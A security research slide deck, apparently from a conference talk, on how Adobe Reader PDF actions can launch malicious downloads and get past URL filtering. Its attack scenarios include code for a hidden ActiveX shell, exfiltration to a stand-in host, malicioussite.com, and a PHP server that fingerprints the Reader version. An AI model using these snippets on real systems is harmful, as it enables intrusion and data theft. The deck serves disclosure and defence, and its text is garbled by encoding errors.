Malicious URI resolving in PDFs Valen6n HAMON - - PowerPoint PPT Presentation

malicious uri resolving in pdfs
SMART_READER_LITE
LIVE PREVIEW

Malicious URI resolving in PDFs Valen6n HAMON - - PowerPoint PPT Presentation

Malicious URI resolving in PDFs Valen6n HAMON Opera&onal cryptology and virology laboratory (C+V) valen6n.hamon@et.esiea-ouest.fr h<p://cvo-lab.blogspot.fr/


slide-1
SLIDE 1

Malicious ¡URI ¡resolving ¡in ¡PDFs ¡

Valen6n ¡HAMON ¡ Opera&onal ¡cryptology ¡and ¡virology ¡ laboratory ¡(C+V)° ¡

h<p://cvo-­‑lab.blogspot.fr/ ¡ valen6n.hamon@et.esiea-­‑ouest.fr ¡

slide-2
SLIDE 2

Outline ¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-3
SLIDE 3

¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-4
SLIDE 4

Ø PDF ¡format ¡: ¡ Ø Primarily ¡cons6tuted ¡of ¡objects. ¡ Ø These ¡objects ¡can ¡be ¡dynamics: ¡ Ø Javascript ¡ Ø Forms ¡ Ø Digital ¡Media ¡(SWF,…) ¡ Ø ¡… ¡

Introduc6on ¡(1/2) ¡

slide-5
SLIDE 5

And ¡we ¡know ¡that ¡ ¡ ¡Dynamic ¡Objects ¡=> ¡Security ¡threats ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡\OpenAc-on ¡

Introduc6on ¡(2/2) ¡

slide-6
SLIDE 6

Previous ¡works ¡: ¡ ¡ ¡ Eric ¡Filiol, ¡Black ¡Hat ¡EU ¡2008: ¡ ¡ ¡PDF ¡Security ¡analysis ¡and ¡malware ¡threats. ¡ ¡ Raynal, ¡Delugré ¡and ¡Aumaitre, ¡Hack.lu ¡2009: ¡ ¡Malicious ¡Origami ¡in ¡pdf. ¡ ¡ Didier ¡Stevens, ¡Hack.lu ¡2009: ¡ ¡Penetra&on ¡document ¡format. ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Introduc6on ¡(3/3) ¡

slide-7
SLIDE 7

¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-8
SLIDE 8

¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-9
SLIDE 9

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡URI ¡Method ¡(1/5) ¡

RFC ¡3986 ¡:"a ¡Uniform ¡Resource ¡Iden6fier ¡(URI) ¡is ¡a ¡ compact ¡string ¡of ¡characters ¡for ¡iden6fying ¡an ¡abstract ¡

  • r ¡physical ¡resource". ¡ ¡

¡ ¡A ¡Uniform ¡Resource ¡Locator(URL) ¡is ¡an ¡URI ¡"that ¡ iden6fy ¡resources ¡via ¡a ¡representa6on ¡of ¡their ¡primary ¡ access ¡mechanism". ¡

slide-10
SLIDE 10

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡URI ¡Method ¡(2/5) ¡

PDF ¡reference ¡1.7: ¡ “a ¡URI ¡ac6on ¡causes ¡a ¡URI ¡to ¡be ¡resolved“. ¡ ¡ Lots ¡of ¡protocols ¡are ¡so ¡supported ¡: ¡

  • ­‑ HTTP ¡
  • ­‑ FTP ¡
  • ­‑ MAILTO ¡
  • ­‑ ... ¡
slide-11
SLIDE 11

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡URI ¡Method ¡(3/5) ¡

4 ¡0 ¡obj ¡ << ¡ /Type ¡ /Ac6on ¡ /S ¡ /URI(hCp://www.malicioussite.com/upload.php) ¡ >> ¡ endobj ¡

Code: ¡

slide-12
SLIDE 12

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡URI ¡Method ¡(4/5) ¡

Weblink ¡Driver ¡ Default ¡Web ¡ browser ¡ IAC ¡: ¡Interapplica6on ¡Communica6on ¡Message ¡ IAC ¡ Weblink ¡Plug-­‑in ¡ Request ¡ performed ¡

slide-13
SLIDE 13

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡URI ¡Method ¡(5/5) ¡

Wireshark ¡Capture ¡of ¡the ¡request ¡launched ¡by ¡the ¡URI ¡Ac-on ¡

Internet ¡Explorer ¡9 ¡

GET ¡request ¡performed: ¡

slide-14
SLIDE 14

¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-15
SLIDE 15

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Submit ¡Form ¡Method ¡(1/8) ¡

PDF ¡reference ¡1.7: ¡ “a ¡submit-­‑form ¡ac6on ¡transmits ¡the ¡names ¡and ¡values ¡of ¡selected ¡ interac6ve ¡form ¡fields ¡to ¡a ¡specified ¡uniform ¡resource ¡locator ¡(URL)“. ¡ ¡

slide-16
SLIDE 16

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Submit ¡Form ¡Method ¡(2/8) ¡

4 ¡0 ¡obj ¡ << ¡ /S ¡ /SubmitForm ¡ /F ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡<< ¡ /F ¡(hCp://www.malicioussite.com/upload.php) ¡ /FS ¡/URL ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡>> ¡ >> ¡ endobj ¡

Code ¡: ¡

slide-17
SLIDE 17

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Submit ¡Form ¡Method ¡(3/8) ¡

AcroForms ¡ View ¡results ¡

  • n ¡the ¡default ¡

web ¡browser ¡ Request ¡ performed ¡

slide-18
SLIDE 18

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Submit ¡Form ¡Method ¡(4/8) ¡

Different ¡file ¡formats ¡can ¡be ¡used ¡for ¡transmilng ¡form ¡data ¡by ¡PDF ¡: ¡ ¡

  • ­‑ ¡HTML ¡Form ¡format ¡
  • ­‑ ¡Forms ¡Data ¡Format ¡(FDF) ¡
  • ­‑ ¡XFDF, ¡FDF ¡version ¡based ¡on ¡XML ¡
  • ­‑ ¡PDF ¡

¡ ¡ ¡ ¡ ¡

slide-19
SLIDE 19

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Submit ¡Form ¡Method ¡(5/8) ¡

Wireshark ¡Capture ¡of ¡the ¡request ¡launched ¡by ¡the ¡Submit ¡Form ¡Ac-on ¡ POST ¡request ¡performed: ¡

slide-20
SLIDE 20

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Submit ¡Form ¡Method ¡(6/8) ¡

The ¡frame ¡contains ¡a ¡FDF ¡File: ¡

slide-21
SLIDE 21

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Submit ¡Form ¡Method ¡(7/8) ¡

Note ¡about ¡Javascript: ¡

4 ¡0 ¡obj ¡ << ¡ /JS( ¡ var ¡aSubmitFields ¡= ¡new ¡Array( ¡"0" ¡); ¡ this.submitForm({ ¡ cURL: ¡"hCp://www.malicioussite.com/upload.php", ¡ aFields: ¡aSubmitFields, ¡ cSubmitAs: ¡"FDF" ¡ });) ¡ /S ¡/JavaScript ¡ >> ¡ endobj ¡ ¡ ¡

slide-22
SLIDE 22

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Submit ¡Form ¡Method ¡(8/8) ¡

But ¡Javascript ¡should ¡be ¡enable ¡in ¡the ¡user ¡configura-on: ¡ ¡ ¡ HKEY_CURRENT_USER\Sosware\Adobe\Acrobat ¡Reader \9.0\JSPrefs ¡ ¡ ¡=> ¡set ¡to ¡0x00000001 ¡

slide-23
SLIDE 23

¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-24
SLIDE 24

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Adobe ¡URL ¡filter ¡(1/7) ¡

By ¡default, ¡an ¡alert ¡Box ¡appears: ¡ ¡

slide-25
SLIDE 25

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Adobe ¡URL ¡filter ¡(2/7) ¡

To ¡allow ¡every ¡websites: ¡ ¡ HKEY_CURRENT_USER\Sosware\Adobe\Acrobat ¡Reader \9.0\TrustManager\cDefaultLaunchURLPerms ¡ => ¡Set ¡value ¡to ¡0x00000002 ¡ ¡

slide-26
SLIDE 26

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Adobe ¡URL ¡filter ¡(3/7) ¡

There ¡is ¡also ¡a ¡filter ¡for ¡file ¡types ¡(ONLY ¡for ¡Submit ¡Form ¡Method): ¡ ¡ ¡ ¡ ¡ ¡

.HTML, ¡.PDF ¡, ¡.FDF, ¡.PHP, ¡.ASP,.. ¡(Web ¡and ¡Adobe ¡files) ¡ .EXE, ¡.JS, ¡.VBS,… ¡

slide-27
SLIDE 27

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Adobe ¡URL ¡filter ¡(4/7) ¡

But ¡there ¡is ¡no ¡filter ¡for ¡URI ¡Method ¡( ¡Web ¡browser’s ¡job ¡): ¡ ¡ ¡ ¡ ¡ ¡

ALL ¡(including ¡.exe, ¡.vbs, ¡etc.) ¡ NONE ¡( ¡It ¡may ¡depends ¡on ¡the ¡web ¡browser) ¡

slide-28
SLIDE 28

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Adobe ¡URL ¡filter ¡(5/7) ¡

¡ Demo ¡ ¡ **Opening ¡a ¡PDF ¡can ¡cause ¡the ¡automaHc ¡ ¡ ¡ ¡ ¡download ¡of ¡a ¡malicious ¡file** ¡ ¡ ¡=> ¡Social ¡engineering ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

slide-29
SLIDE 29

Web ¡browser ¡1 ¡: ¡Mozilla ¡Firefox ¡

slide-30
SLIDE 30

Web ¡browser ¡2 ¡: ¡MicrosoO ¡Internet ¡Explorer ¡ ¡

slide-31
SLIDE 31

Web ¡browser ¡3 ¡: ¡Google ¡Chrome ¡

slide-32
SLIDE 32

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Adobe ¡URL ¡filter ¡(6/7) ¡

Disadvantages: ¡

  • ­‑ Hard ¡to ¡find ¡a ¡method ¡to ¡automa-cally ¡launch ¡the ¡downloaded ¡file ¡

(Ac-veX ¡methods ¡in ¡IE ¡could ¡be ¡used). ¡ Advantages ¡: ¡ ¡

  • ­‑ ¡Executables ¡are ¡well ¡known ¡aCacks. ¡PDFs ¡aCacks ¡are ¡less ¡known. ¡
  • ­‑ ¡It ¡works ¡with ¡every ¡versions ¡of ¡Adobe ¡Reader. ¡

¡

slide-33
SLIDE 33

Network ¡security ¡in ¡Adobe ¡Reader ¡ ¡Adobe ¡URL ¡filter ¡(7/7) ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Force ¡ download ¡ Big ¡malicious ¡ executable ¡ Launch ¡a ¡small ¡ ShellCode ¡by ¡a ¡JS ¡ Exploit ¡

Step ¡1 ¡ Step ¡2 ¡ Step ¡3 ¡

The ¡ShellCode ¡ launch ¡the ¡big ¡ executable ¡ downloaded ¡

slide-34
SLIDE 34

¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-35
SLIDE 35

Weaknesses ¡of ¡Adobe’s ¡ ¡ URL ¡Security ¡Zone ¡Manager ¡(1/5) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

slide-36
SLIDE 36

Weaknesses ¡of ¡Adobe’s ¡ ¡ URL ¡Security ¡Zone ¡Manager ¡(2/5) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

With ¡URI ¡Method: ¡

¡ ¡ The ¡security ¡configuraHon ¡of ¡the ¡zone ¡is ¡well ¡applied. ¡

slide-37
SLIDE 37

Weaknesses ¡of ¡Adobe’s ¡ ¡ URL ¡Security ¡Zone ¡Manager ¡(3/5) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

C:\\Users\\CURRENT_USER\\AppData\\Local\\Temp\\AR95F6.htm ¡

With ¡Submit ¡Form ¡Method: ¡

The ¡web ¡browser ¡only ¡knows ¡this ¡URI!!! ¡

slide-38
SLIDE 38

Weaknesses ¡of ¡Adobe’s ¡ ¡ URL ¡Security ¡Zone ¡Manager ¡(4/5) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

slide-39
SLIDE 39
slide-40
SLIDE 40

Weaknesses ¡of ¡Adobe’s ¡ ¡ URL ¡Security ¡Zone ¡Manager ¡(5/5) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ **The ¡web ¡browser ¡can ¡not ¡know ¡the ¡real ¡URL** ¡ ¡ ¡ **Now, ¡imagine ¡that ¡a ¡URL ¡is ¡normally ¡blacklisted ¡in ¡a ¡web ¡

  • browser. ¡If ¡we ¡use ¡Submit ¡Form, ¡browser ¡filter ¡cannot ¡be ¡

applied ¡on ¡the ¡URL.** ¡ ¡

slide-41
SLIDE 41

Weaknesses ¡of ¡Adobe’s ¡ ¡ URL ¡Security ¡Zone ¡Manager ¡(5/5) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ With ¡Adobe ¡Reader ¡version ¡> ¡10: ¡ Ø ¡Protected ¡Mode. ¡ ¡ HKEY_CURRENT_USER\Sosware\Adobe\Acrobat ¡Reader \10.0\Privileged\bProtectedMode ¡

slide-42
SLIDE 42

¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-43
SLIDE 43

An ¡invisible ¡malicious ¡proxy ¡(1/) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

slide-44
SLIDE 44

An ¡invisible ¡malicious ¡proxy ¡(1/) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

slide-45
SLIDE 45

An ¡invisible ¡malicious ¡proxy ¡(1/10) ¡ ¡

Step ¡1: ¡Opening ¡the ¡PDF ¡launch ¡a ¡HTTP ¡ request ¡to ¡the ¡malicious ¡Server ¡

¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ Ø /OpenAc-on ¡ Ø /SubmitForm ¡Ac-on ¡

slide-46
SLIDE 46

An ¡invisible ¡malicious ¡proxy ¡(1/) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

slide-47
SLIDE 47

An ¡invisible ¡malicious ¡proxy ¡(2/10) ¡ ¡

Step ¡2: ¡AcroForms ¡performs ¡the ¡request, ¡ the ¡file ¡is ¡downloaded ¡in ¡App ¡Data/… ¡

¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Ø ¡ ¡ ¡C:\\Users\\CURRENT_USER\\AppData\\Local\\Temp\\AR95F6.htm ¡

slide-48
SLIDE 48

An ¡invisible ¡malicious ¡proxy ¡(1/) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

slide-49
SLIDE 49

An ¡invisible ¡malicious ¡proxy ¡(3/10) ¡ ¡

Step ¡3: ¡Malicious ¡ac&ons ¡are ¡done ¡on ¡the ¡ vic&m’s ¡computer ¡

¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Call ¡a ¡hidden ¡shell: ¡ ¡ Ø Create ¡a ¡new ¡WScriptShell ¡Ac-veX ¡Object ¡ ¡ ¡new ¡AcHveXObject('WScript.Shell'); ¡ ¡ Ø Use ¡Run ¡method ¡to ¡launch ¡the ¡shell ¡ ¡ ¡wshShell.Run('cmd.exe ¡/c ¡dir ¡> ¡C:/Temp/Mylog.txt',0,true); ¡

slide-50
SLIDE 50

An ¡invisible ¡malicious ¡proxy ¡(4/10) ¡ ¡

Step ¡3: ¡Malicious ¡ac&ons ¡are ¡done ¡on ¡the ¡ vic&m’s ¡computer ¡

¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Read ¡the ¡file ¡and ¡store ¡in ¡a ¡JavaScript ¡Variable: ¡ ¡ Ø Create ¡a ¡new ¡ScripHng.FileSystemObject ¡Ac-veX ¡Object ¡ ¡ ¡ ¡new ¡AcHveXObject('ScripHng.FileSystemObject'); ¡ Ø Read ¡the ¡file ¡ ¡ var ¡New ¡= ¡Object2.OpenTextFile("C:/Temp/Mylog.txt",1); ¡ var ¡read ¡= ¡New.ReadAll(); ¡

slide-51
SLIDE 51

An ¡invisible ¡malicious ¡proxy ¡(5/10) ¡ ¡

Step ¡3: ¡Malicious ¡ac&ons ¡are ¡done ¡on ¡the ¡ vic&m’s ¡computer ¡

¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Erase ¡the ¡file ¡on ¡the ¡disk: ¡ ¡ Ø Create ¡a ¡new ¡ScripHng.FileSystemObject ¡Ac-veX ¡Object ¡ ¡ ¡ ¡new ¡AcHveXObject('ScripHng.FileSystemObject'); ¡ Ø Open ¡again ¡the ¡file ¡in ¡« ¡erase ¡» ¡mode ¡ var ¡NouvTxt ¡= ¡Object.OpenTextFile("C:/Temp/Mylog.txt",2); ¡ NouvTxt.Close(); ¡

slide-52
SLIDE 52

Pro/Cons ¡of ¡this ¡aCack ¡(Ac-veX): ¡ ¡ Advantages ¡: ¡ ¡

  • ­‑ ¡The ¡Shell ¡is ¡hidden. ¡
  • ­‑ ¡Results ¡can ¡be ¡sent ¡back ¡to ¡a ¡server. ¡
  • ­‑ ¡Don’t ¡use ¡AJAX(Asynchronous ¡Javascript ¡and ¡XML) ¡requests. ¡

¡

  • ­‑ Disadvantages: ¡
  • ­‑ Works ¡only ¡with ¡IE ¡configured ¡as ¡default ¡web ¡browser. ¡
  • ­‑ Registry ¡keys ¡needs ¡to ¡be ¡set ¡to ¡use ¡Ac-veX. ¡

An ¡invisible ¡malicious ¡proxy ¡(6/10) ¡

Step ¡3: ¡Malicious ¡ac&ons ¡are ¡done ¡on ¡the ¡ vic&m’s ¡computer ¡

¡ ¡ ¡

slide-53
SLIDE 53

NOTE: ¡ ¡ ¡** ¡This ¡is ¡just ¡an ¡example, ¡but ¡all ¡aCacks ¡in ¡web ¡browsers ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡can ¡be ¡used ¡as ¡long ¡as ¡files ¡are ¡accepted ¡by ¡AcroForms.** ¡ ¡ ¡ ¡

An ¡invisible ¡malicious ¡proxy ¡(7/10) ¡

Step ¡3: ¡Malicious ¡ac&ons ¡are ¡done ¡on ¡the ¡ vic&m’s ¡computer ¡

¡ ¡ ¡

slide-54
SLIDE 54

An ¡invisible ¡malicious ¡proxy ¡(1/) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

slide-55
SLIDE 55

An ¡invisible ¡malicious ¡proxy ¡(8/10) ¡ ¡

Step ¡4: ¡Send ¡back ¡results ¡

¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Send ¡back ¡results ¡to ¡a ¡web ¡server: ¡ ¡ Ø Create ¡an ¡empty ¡HTML ¡Form ¡

<form ¡style="display: ¡none; ¡visibility: ¡hidden" ¡acHon="hhp:// www.malicioussite.com" ¡ method="POST" ¡name="form" ¡enctype="mulHpart/form-­‑data"> ¡ <input ¡type=hidden ¡name="file" ¡value=""> ¡ </ ¡form> ¡

Ø Put ¡the ¡data ¡to ¡send ¡ ¡

document.getElementById ¡("file").value ¡= ¡read; ¡

Ø Auto-­‑submit ¡the ¡form ¡

document.form.submit ¡(); ¡

¡

slide-56
SLIDE 56

An ¡invisible ¡malicious ¡proxy ¡(1/) ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

slide-57
SLIDE 57

An ¡invisible ¡malicious ¡proxy ¡(9/10) ¡ ¡

Step ¡5: ¡Server-­‑side ¡recep&on ¡in ¡PHP ¡

¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Ø ¡Process ¡HTTP ¡POST ¡requests ¡received ¡ if ¡(count ¡($ ¡_POST)> ¡0) ¡ { ¡ ... ¡ } ¡ ¡ Ø ¡Write ¡results ¡in ¡a ¡file ¡ ¡ ¡ ¡fopen(); ¡ ¡fputs(); ¡ ¡fclose(); ¡ ¡

¡ ¡

slide-58
SLIDE 58

An ¡invisible ¡malicious ¡proxy ¡(10/10) ¡ ¡

Step ¡5: ¡Server-­‑side ¡recep&on ¡in ¡PHP ¡

¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Ø Auto-­‑redirec-on ¡to ¡a ¡legi-mate ¡website: ¡ ¡ <form ¡style="display: ¡none; ¡visibility: ¡hidden" ¡acHon="hhp:// www.google.com" ¡ method="POST" ¡ ¡ name="form" ¡ ¡ enctype="mulHpart/form-­‑data"> ¡ </ ¡form> ¡ ¡ <script> ¡ ¡ document.form.submit(); ¡ ¡ </script> ¡

¡ ¡

slide-59
SLIDE 59

An ¡invisible ¡malicious ¡proxy ¡(Demo) ¡ ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

¡

slide-60
SLIDE 60
slide-61
SLIDE 61

¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-62
SLIDE 62

¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-63
SLIDE 63

Scou6ng ¡Adobe ¡Reader ¡(1/4) ¡ ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Ø Request ¡Performed: ¡ ¡

¡ ¡

¡

slide-64
SLIDE 64

Scou6ng ¡Adobe ¡Reader ¡(2/4) ¡ ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

Server-­‑side ¡processing ¡in ¡PHP: ¡ Ø ¡Read ¡the ¡header ¡ $headers ¡= ¡apache_request_headers(); ¡ Ø ¡ ¡Check ¡for ¡Acrobat-­‑Version ¡informa-on ¡in ¡the ¡header ¡ foreach ¡($headers ¡as ¡$header ¡=> ¡$value) ¡{ ¡ ¡if($header ¡== ¡"Acrobat-­‑Version"){ ¡ ¡ ¡… ¡ ¡} ¡ } ¡

Ø ¡For ¡a ¡version ¡number, ¡ ¡launch ¡the ¡malicious ¡PDF ¡related ¡

if(preg_match("#9#",$value)){ ¡ ¡// ¡if ¡Adobe ¡version ¡== ¡9.X ¡ ¡header('Content-­‑type: ¡applicaHon/pdf'); ¡ ¡header('Content-­‑DisposiHon: ¡ahachment; ¡filename="infectedsimple.pdf"'); ¡ ¡readfile('infectedsimple.pdf'); ¡ } ¡ ¡ ¡ ¡ ¡ ¡

¡ ¡

slide-65
SLIDE 65

Scou6ng ¡Adobe ¡Reader ¡(3/4) ¡ ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡

¡ ¡

¡

slide-66
SLIDE 66
slide-67
SLIDE 67

Scou6ng ¡Adobe ¡Reader ¡(4/4) ¡ ¡ ¡ ¡ ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

¡ ¡ ¡

In ¡this ¡scenario: ¡ ¡ we ¡don’t ¡need ¡javascript ¡ ¡ ¡ to ¡know ¡the ¡Adobe ¡Version ¡!!! ¡

¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡

¡ ¡

¡

slide-68
SLIDE 68

¡

Ø Introduc6on ¡ Ø Network ¡security ¡in ¡Adobe ¡Reader ¡ Ø URI ¡Method ¡ Ø Submit ¡Form ¡Method ¡ Ø Adobe ¡URL ¡Filter ¡ Ø Weaknesses ¡of ¡Adobe’s ¡URL ¡Security ¡Zone ¡Manager ¡ Ø A<ack ¡Scenario ¡1 ¡: ¡an ¡invisible ¡malicious ¡proxy ¡ Ø A<ack ¡Scenario ¡2 ¡: ¡scou6ng ¡Adobe ¡Reader ¡ Ø Conclusion ¡ Ø Ques6ons ¡

slide-69
SLIDE 69

Conclusion ¡ ¡

¡

¡ Ø /OpenAc6on ¡s6ll ¡works. ¡ Ø ¡Try ¡new ¡methods ¡to ¡an6cipate ¡future ¡threats. ¡ Ø ¡Weak ¡URL ¡Detec6on. ¡ ¡

slide-70
SLIDE 70

Future ¡Works ¡ ¡

¡

¡ ¡ Ø Compare ¡the ¡security ¡of ¡different ¡PDF ¡Readers. ¡ ¡ Ø Analyze ¡what ¡is ¡the ¡security ¡of ¡PDFs ¡on ¡Smartphones. ¡ ¡ Ø Explore ¡other ¡Opera6ng ¡systems ¡(Linux, ¡Mac ¡OSX). ¡

slide-71
SLIDE 71

¡

